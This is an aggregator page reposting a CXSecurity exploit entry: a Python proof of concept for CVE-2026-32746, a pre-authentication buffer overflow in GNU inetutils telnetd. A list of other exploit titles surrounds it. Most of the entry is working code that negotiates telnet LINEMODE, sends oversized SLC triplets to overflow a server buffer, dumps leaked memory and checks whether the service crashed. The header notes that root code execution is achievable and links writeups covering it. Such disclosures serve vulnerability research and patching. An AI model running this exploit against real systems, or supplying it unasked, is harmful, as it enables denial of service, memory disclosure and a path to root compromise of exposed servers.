惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
WordPress大学
WordPress大学
云风的 BLOG
云风的 BLOG
Stack Overflow Blog
Stack Overflow Blog
MongoDB | Blog
MongoDB | Blog
腾讯CDC
V
V2EX
Martin Fowler
Martin Fowler
A
About on SuperTechFans
大猫的无限游戏
大猫的无限游戏
Blog — PlanetScale
Blog — PlanetScale
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
酷 壳 – CoolShell
酷 壳 – CoolShell
C
Check Point Blog
博客园 - 【当耐特】
Cisco Talos Blog
Cisco Talos Blog
The Hacker News
The Hacker News
K
Kaspersky official blog
Security Latest
Security Latest
H
Help Net Security
博客园_首页
美团技术团队
Spread Privacy
Spread Privacy
博客园 - 司徒正美
Hugging Face - Blog
Hugging Face - Blog
S
SegmentFault 最新的问题
G
Google Developers Blog
NISL@THU
NISL@THU
爱范儿
爱范儿
I
Intezer
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
阮一峰的网络日志
阮一峰的网络日志
N
News and Events Feed by Topic
P
Privacy International News Feed
Application and Cybersecurity Blog
Application and Cybersecurity Blog
S
Security @ Cisco Blogs
Schneier on Security
Schneier on Security
雷峰网
雷峰网
人人都是产品经理
人人都是产品经理
V
Vulnerabilities – Threatpost
W
WeLiveSecurity
P
Palo Alto Networks Blog
G
GRAHAM CLULEY
Hacker News: Ask HN
Hacker News: Ask HN
I
InfoQ
The Cloudflare Blog
F
Full Disclosure
SecWiki News
SecWiki News
宝玉的分享
宝玉的分享
N
Netflix TechBlog - Medium

CXSECURITY Database RSS Feed - CXSecurity.com

XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution Frigate NVR 0.16.3 Remote Code Execution Linux nf_tables 6.19.3 Local Privilege Escalation ThingsBoard IoT Platform 4.2.0 Server-Side Request Forgery (SSRF) Linux Kernel Local Privilege Escalation (CVE-2026-43284 / CVE-2026-43500 / CVE-2026-46300) SUSE Manager 4.3.15 Code Execution Apache HertzBeat 1.8.0 Remote Code Execution JuzaWeb CMS 3.4.2 Authenticated Remote Code Execution NiceGUI 3.6.1 Path Traversal - CXSecurity.com GUnet OpenEclass E-learning platform < 4.2 Remote Code Execution (RCE) Windows Snipping Tool NTLMv2 Hash Hijack Kukurigu LPE - Linux Kernel Privilege Escalation (CVE-2026-43284 / CVE-2026-43500) Event Booking Calendar-5.0 Cross-site scripting (reflected) Linux Kernel Local Privilege Escalation (CVE-2026-43284 / CVE-2026-43500) Ninja Forms Uploads Unauthenticated PHP File Upload Traccar GPS Tracking System 6.11.1 Cross-Site WebSocket Hijacking (CSWSH) Erugo 0.2.14 Remote Code Execution (RCE) Linux Kernel Local Privilege Escalation via Memory Handling and Access Control Weakness Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) Linux Kernel proc_readdir_de() 6.18-rc5 Local Privilege Escalation Insecure Permissions vulnerability in Nagios Network Analyzer v.2024R1.02-64 and before allows a local attacker to escalate privileges via the remove_source.sh component. Samsung ONE Integer Overflow in CircleConst Tensor Size Calculation solaredge-CSRF-OOB-Injection - CXSecurity.com Trojan-Spy.Win32.Small / Remote Command Execution OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Throttlestop Kernel Driver Kernel Out-of-Bounds Write Privilege Escalation Critical Remote Code Execution Vulnerability in Windows Internet Key Exchange (IKE) Service (CVE-2026-33824) WordPress Madara Local File Inclusion FortiWeb 8.0.2 Remote Code Execution Easy File Sharing Web Server v7.2 Buffer Overflow NetBT e-Fatura Privilege Escalation - CXSecurity.com Docker Desktop 4.44.3 Unauthenticated API Exposure MaNGOSWebV4 4.0.6 Reflected XSS - CXSecurity.com Grafana 11.6.0 SSRF - CXSecurity.com OctoPrint 1.11.2 File Upload - CXSecurity.com esm-dev 136 Path Traversal - CXSecurity.com Linux Kernel mseal Invariant Violation (Linux kernel 6.17-7.0 rc5) astrojs/vercel <= 10.0.0 - Unauthenticated x-astro-path Header Path Override Microsoft SQL Server Privilege Elevation Through FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass Wavlink WL-WN579X3-C firewall.cgi UPNP Stack-based Buffer Overflow esiclivre 0.2.2 SQL Injection - CXSecurity.com Payara Server Cross Site Scripting esiclivre 0.2.2 SQL Injection - CXSecurity.com SiYuan <= v3.6.1 Note unauthenticated arbitrary file read (path traversal) Tenda AC21 V1.0 V16.03.08.16 - Stack Buffer Overflow in SetNetControlList WWBN AVideo <= 26.0 - Authenticated SQL Injection Windows RRAS Remote Code Execution Vulnerability (CVE-2026-26111) - SE-RCE Exploit Linux Kernel 5.8 < 5.15.25 - Local Privilege Escalation Exploit Discourse <= 2026.2.1 Authenticated Missing Authorization Kanboard <= 1.2.50 Authenticated SQL Injection Glances <= 4.5.2 OS Command Injection via Mustache Template Fields LB-LINK BL-WR9000 V2.4.9 - Stack-based Buffer Overflow in /goform/get_hidessid_cfg LB-LINK BL-WR9000 V2.4.9 - Unauthenticated / Post-Auth Stack-based Buffer Overflow zumba/json-serializer zumba/json-serializer < 3.2.3 RCE Wekan 8.31.0 - 8.33Meteor DDP notificationUsers Sensitive Data Leak Splunk Remote Command Execution via Improper Input Validation Microsoft Windows MSHTML Security Feature Bypass Vulnerability Qualcomm GPU Driver Memory Corruption Vulnerability in Android Devices Frappe Framework <14.99.0 and <15.84.0 Unauthenticated SQL Injection PyJWT < 2.12.0 crit header bypass / Insufficient crit validation PluckCMS 4.7.10 Unrestricted File Upload Python-Multipart <0.0.22 - Path Traversal / Arbitrary File Write (CVE-2026-24486) WeGIA <= 3.6.4 Unauthenticated Admin Authentication Bypass NocoDB <= 0.301.2 User Enumeration via Password Reset Endpoint Craft CMS 4.x & 5.x RCE via Blocklist Bypass pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3 JwtAuthenticator Authentication Bypass via JWE-wrapped PlainJWT AirPlay Dual‑Mode Discovery Scanner for Flipper Zero ESP32 WiFi Dev Board WeGIA <= 3.6.4 Remote Code Execution via OS Command Injection WordPress Backup Migration 1.3.7 Remote Command Execution WeGIA 3.5.0 SQL Injection - CXSecurity.com
telnetd 2.7 Buffer Overflow - CXSecurity.com
Jeff Barron · 2026-05-14 · via CXSECURITY Database RSS Feed - CXSecurity.com

telnetd 2.7 Buffer Overflow

# Exploit Title: telnetd 2.7 - Buffer Overflow # Google Dork: N/A # Date: 2026-04-03 # Exploit Author: Jeff Barron (jeffaf) # Vendor Homepage: https://www.gnu.org/software/inetutils/ # Software Link: https://ftp.gnu.org/gnu/inetutils/ # Version: inetutils-telnetd through 2.7 (patch pending in next release) # Tested on: Debian Linux (inetutils-telnetd 2.4 under xinetd, Docker lab) # CVE: CVE-2026-32746 # CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) # # References: # DREAM Advisory: https://dreamgroup.com/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler/ # WatchTowr: https://labs.watchtowr.com/ # GNU Disclosure: https://lists.gnu.org/archive/html/bug-inetutils/2026-03/msg00031.html # Fix (PR #17): https://codeberg.org/inetutils/inetutils/pulls/17 # NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32746 # # Notes: # The add_slc() function in telnetd/slc.c appends 3 bytes per SLC triplet to a # fixed 108-byte buffer (slcbuf) with no bounds checking. Sending a crafted # LINEMODE SLC suboption with 40+ triplets (function codes > NSLC/18) during # initial option negotiation -- before any login prompt -- overflows slcbuf, # corrupts the slcptr pointer, and leaks adjacent BSS data in the server # response. telnetd runs as root via inetd/xinetd; the vendor advisory (DREAM # Security, Advisory ID: VULN-TELNETD-SLC-2025, published 2026-03-13) confirms # full pre-auth RCE as root is achievable. This PoC demonstrates and verifies # the overflow via response analysis (BSS leak in server reply). It does NOT # include shellcode or a ROP chain. Full exploitation analysis including byte # constraints, alignment techniques, and the def_slcbuf/free() primitive on # 32-bit systems is covered in the WatchTowr writeup linked above. # Docker lab: https://github.com/jeffaf/cve-2026-32746 # # Vulnerability discovered by: Adiel Sol, Arad Inbar, Erez Cohen, Nir Somech, # Ben Grinberg, Daniel Lubel (Dream Security Research Labs). Disclosed 2026-03-13. # This is an independent PoC implementation. """ CVE-2026-32746 - telnetd LINEMODE SLC Buffer Overflow PoC ========================================================== Triggers an out-of-bounds write in GNU InetUtils telnetd's SLC handler by sending a crafted LINEMODE SLC suboption with excess triplets. The overflow corrupts the slcptr pointer in BSS. When end_slc() runs, it writes via the corrupted pointer. The server's SLC response contains the overflow data (leaked BSS bytes), providing direct proof. This PoC demonstrates and verifies the overflow via response analysis. It does NOT achieve code execution. Usage: python3 exploit.py <target_ip> [port] For authorized security testing only. """ import argparse import socket import sys import time # Telnet protocol bytes IAC = 0xFF DONT = 0xFE DO = 0xFD WONT = 0xFC WILL = 0xFB SB = 0xFA SE = 0xF0 # Options OPT_ECHO = 0x01 OPT_SGA = 0x03 OPT_TTYPE = 0x18 # 24 OPT_TSPEED = 0x20 # 32 OPT_LINEMODE = 0x22 # 34 OPT_XDISPLOC = 0x23 # 35 OPT_OLD_ENVIRON = 0x24 # 36 OPT_NEW_ENVIRON = 0x27 # 39 OPT_NAWS = 0x1F # 31 # LINEMODE suboption codes LM_SLC = 0x03 # SLC constants from source NSLC = 18 # Number of defined SLC functions # Buffer geometry SLCBUF_SIZE = 108 # Total slcbuf allocation SLCBUF_USABLE = 104 # Usable after 4-byte header (IAC SB LINEMODE SLC) def recv_all(s, timeout=2): """Receive all available data with a timeout.""" s.settimeout(timeout) chunks = [] try: while True: chunk = s.recv(4096) if not chunk: break chunks.append(chunk) except socket.timeout: pass return b''.join(chunks) def negotiate_linemode(s): """Complete telnet negotiation and enter LINEMODE. Full negotiation is required: the server only processes SLC and returns responses after all expected suboptions (TTYPE, TSPEED, XDISPLOC, NEW_ENVIRON, NAWS) have been received. """ # Round 1: Read server's initial option offers print("[*] Phase 1: Reading server negotiation...") time.sleep(1) try: data = recv_all(s) except ConnectionResetError: # Server closed connection before we could send or receive print(f"[-] Connection reset during negotiation") return False if not data: print("[-] No negotiation data received") return False print(f" Received {len(data)} bytes of negotiation") # Build responses: accept everything, add WILL LINEMODE resp = bytearray() i = 0 while i < len(data) - 2: if data[i] == IAC: cmd = data[i + 1] opt = data[i + 2] if cmd == DO: resp.extend([IAC, WILL, opt]) elif cmd == WILL: resp.extend([IAC, DO, opt]) i += 3 else: i += 1 # Proactively offer LINEMODE (triggers server's SLC handler) resp.extend([IAC, WILL, OPT_LINEMODE]) # Required suboption responses - server stalls without these resp.extend([IAC, SB, OPT_TTYPE, 0x00]) resp.extend(b'xterm') resp.extend([IAC, SE]) resp.extend([IAC, SB, OPT_TSPEED, 0x00]) resp.extend(b'38400,38400') resp.extend([IAC, SE]) resp.extend([IAC, SB, OPT_XDISPLOC, 0x00]) resp.extend(b':0') resp.extend([IAC, SE]) resp.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE]) resp.extend([IAC, SB, OPT_OLD_ENVIRON, 0x00, IAC, SE]) s.send(resp) print(f" Sent {len(resp)} bytes (negotiation + WILL LINEMODE)") # Round 2: Server sends DO LINEMODE + additional option requests print("[*] Phase 2: Completing negotiation...") time.sleep(1) data2 = recv_all(s, timeout=3) if not data2: print("[-] No response to LINEMODE offer") return False got_linemode = False resp2 = bytearray() i = 0 while i < len(data2) - 2: if data2[i] == IAC: cmd = data2[i + 1] if cmd == SB: # Find end of suboption j = i + 2 while j < len(data2) - 1: if data2[j] == IAC and data2[j + 1] == SE: break j += 1 opt = data2[i + 2] if opt == OPT_TTYPE and i + 3 < len(data2) and data2[i + 3] == 0x01: resp2.extend([IAC, SB, OPT_TTYPE, 0x00]) resp2.extend(b'xterm') resp2.extend([IAC, SE]) elif opt == OPT_NEW_ENVIRON: resp2.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE]) i = j + 2 elif cmd == DO: opt = data2[i + 2] if opt == OPT_LINEMODE: got_linemode = True resp2.extend([IAC, WILL, opt]) if opt == OPT_NAWS: resp2.extend([IAC, SB, OPT_NAWS, 0x00, 0x50, 0x00, 0x18, IAC, SE]) i += 3 elif cmd == WILL: resp2.extend([IAC, DO, data2[i + 2]]) i += 3 elif cmd in (DONT, WONT): i += 3 else: i += 2 else: i += 1 if resp2: s.send(resp2) if got_linemode: print("[+] Server accepted LINEMODE (DO LINEMODE received)") else: print("[-] Server did not accept LINEMODE") print(" This may not be GNU InetUtils telnetd") return False # Round 3: Wait for terminal setup and login prompt # Server sends SLC defaults + login prompt after full negotiation time.sleep(3) data3 = recv_all(s, timeout=5) if data3: # Respond to any remaining option requests resp3 = bytearray() i = 0 while i < len(data3) - 2: if data3[i] == IAC: cmd = data3[i + 1] if cmd == DO: resp3.extend([IAC, WILL, data3[i + 2]]) i += 3 elif cmd == WILL: resp3.extend([IAC, DO, data3[i + 2]]) i += 3 elif cmd == SB: j = i + 2 while j < len(data3) - 1: if data3[j] == IAC and data3[j + 1] == SE: break j += 1 i = j + 2 else: i += 3 if cmd in (DONT, WONT) else i + 2 else: i += 1 if resp3: s.send(resp3) return True def build_slc_payload(num_triplets): """Build a malicious SLC suboption with overflow triplets. Each triplet has a function code > NSLC (18), which forces add_slc() to queue a "not supported" reply. After ~35 triplets, the 104-byte response buffer overflows. Buffer math: slcbuf = 108 bytes total Header = 4 bytes (IAC SB LINEMODE LM_SLC) Usable = 104 bytes Per triplet reply = 3 bytes Overflow at: 104 / 3 = ~34.6 -> triplet 35 """ payload = bytearray() # Suboption header: IAC SB LINEMODE LM_SLC payload.extend([IAC, SB, OPT_LINEMODE, LM_SLC]) # SLC triplets: (function, flags, value) # function > NSLC triggers the vulnerable add_slc() path for i in range(num_triplets): func = NSLC + 1 + i if func >= IAC: # Can't use 0xFF (IAC) in data func = 0xFE payload.extend([func, 0x02, 0x00]) # flag=SLC_NOSUPPORT, value=0 # Suboption trailer: IAC SE payload.extend([IAC, SE]) return payload def find_slc_response(data): """Extract SLC suboption body from telnet data. Returns the SLC body bytes (between header and IAC SE), or None if no SLC suboption found. """ i = 0 while i < len(data) - 3: if (data[i] == IAC and data[i + 1] == SB and data[i + 2] == OPT_LINEMODE and i + 3 < len(data) and data[i + 3] == LM_SLC): # Found SLC suboption, extract body until IAC SE k = i + 4 while k < len(data) - 1: if data[k] == IAC and data[k + 1] == SE: return data[i + 4:k] k += 1 # Unterminated - return what we have return data[i + 4:] i += 1 return None def check_service_alive(host, port): """Verify service state with a fresh connection.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) probe = recv_all(s, timeout=3) s.close() return True, len(probe) except (socket.error, OSError): return False, 0 def exploit(host, port, triplets, timeout): """Send the SLC overflow payload and verify via response analysis.""" print(f"\n{'=' * 60}") print(f" CVE-2026-32746 - telnetd SLC Buffer Overflow PoC") print(f"{'=' * 60}") print(f" Target: {host}:{port}") print(f" Triplets: {triplets} (overflow at ~35)") print(f"{'=' * 60}\n") # Connect try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((host, port)) print(f"[+] Connected to {host}:{port}") except (socket.error, OSError) as e: print(f"[-] Connection failed: {e}") return False # Negotiate into LINEMODE if not negotiate_linemode(s): print("\n[-] Failed to enter LINEMODE - cannot trigger vulnerability") s.close() return False # Build and send the overflow payload payload = build_slc_payload(triplets) data_bytes = triplets * 3 overflow_bytes = data_bytes - SLCBUF_USABLE print(f"\n[*] Phase 3: Sending malicious SLC suboption") print(f" Payload size: {len(payload)} bytes") print(f" SLC triplets: {triplets}") print(f" Buffer size: {SLCBUF_USABLE} bytes (usable)") print(f" Data written: {data_bytes} bytes") print(f" Overflow: {overflow_bytes} bytes past buffer end") try: s.send(payload) print(f"[+] Payload sent") except (BrokenPipeError, ConnectionResetError): print("[+] Connection reset during send - server crashed") s.close() return True # Phase 4: Verify overflow via SLC response analysis print(f"\n[*] Phase 4: Analyzing server response...") time.sleep(2) overflow_confirmed = False crash_detected = False try: resp = recv_all(s, timeout=3) if resp: slc_body = find_slc_response(resp) if slc_body is not None: print(f" SLC response body: {len(slc_body)} bytes") print(f" Expected (no overflow): {SLCBUF_USABLE} bytes max") if len(slc_body) > SLCBUF_USABLE: leak_count = len(slc_body) - SLCBUF_USABLE overflow_confirmed = True print(f"[+] OVERFLOW CONFIRMED: {leak_count} bytes past buffer boundary") print(f" Server response contains leaked BSS memory") # Show leaked data leaked = slc_body[SLCBUF_USABLE:] hex_dump = ' '.join(f'{b:02x}' for b in leaked[:48]) print(f" Leaked BSS: {hex_dump}" f"{'...' if len(leaked) > 48 else ''}") elif len(slc_body) == data_bytes: # Server wrote all triplet data without truncation overflow_confirmed = True print(f"[+] OVERFLOW CONFIRMED: server wrote {len(slc_body)} bytes " f"into {SLCBUF_USABLE}-byte buffer") else: print(f"[!] SLC response within buffer bounds ({len(slc_body)} bytes)") else: print(f"[!] Server responded ({len(resp)} bytes) but no SLC suboption found") else: print("[!] No response data received") except (ConnectionResetError, BrokenPipeError, OSError) as e: print(f"[+] Connection error after payload: {e}") crash_detected = True s.close() # Verify service state regardless of response analysis if not overflow_confirmed and not crash_detected: print("\n[*] Checking service state with fresh connection...") alive, probe_len = check_service_alive(host, port) if alive: print(f"[*] Service still running ({probe_len} bytes on connect)") print("[!] Overflow could not be verified via response analysis") print(" Server may require additional negotiation steps,") print(" or this telnetd version may not be vulnerable") else: print("[+] Service is DOWN after payload - crash confirmed") crash_detected = True # Final verdict if overflow_confirmed: print(f"\n[+] VULNERABLE - CVE-2026-32746 confirmed") print(f" Out-of-bounds write in SLC handler verified") print(f" Server response proves buffer overflow occurred") return True elif crash_detected: print(f"\n[+] VULNERABLE - CVE-2026-32746 (crash)") print(f" Server process terminated after overflow payload") return True else: print(f"\n[-] Could not confirm vulnerability") return False def main(): parser = argparse.ArgumentParser( description="CVE-2026-32746 - telnetd SLC Buffer Overflow PoC", epilog="For authorized security testing only." ) parser.add_argument("host", help="Target IP address") parser.add_argument("port", type=int, nargs="?", default=23, help="Target port (default: 23)") parser.add_argument("-n", "--triplets", type=int, default=60, help="Number of SLC triplets to send (default: 60, overflow at ~35)") parser.add_argument("-t", "--timeout", type=int, default=10, help="Socket timeout in seconds (default: 10)") args = parser.parse_args() success = exploit(args.host, args.port, args.triplets, args.timeout) sys.exit(0 if success else 1) if __name__ == "__main__": main()



 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}